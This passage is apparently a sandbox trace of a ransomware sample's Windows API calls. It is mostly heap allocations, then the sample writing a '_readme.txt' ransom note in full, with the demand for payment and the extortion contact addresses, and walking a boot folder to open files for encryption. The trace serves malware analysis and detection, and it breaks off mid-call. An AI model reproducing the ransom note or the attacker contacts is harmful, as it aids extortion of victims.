hHeap=0xd10000) returned 1 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.700] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.700] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.700] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.700] PathFindFileNameW (pszPath="") returned="" [0116.700] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.701] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.701] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.701] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.701] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.701] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.701] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.701] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.701] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.701] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.701] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.701] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.701] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.701] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.701] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.701] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dc2a8 [0116.701] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0116.701] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.701] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.701] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0116.702] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f9f20 [0116.702] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.702] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.702] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.702] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.702] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.702] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.702] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.702] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.702] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.702] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.702] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.702] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.702] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.702] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.702] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.702] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0116.702] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.703] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.703] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: 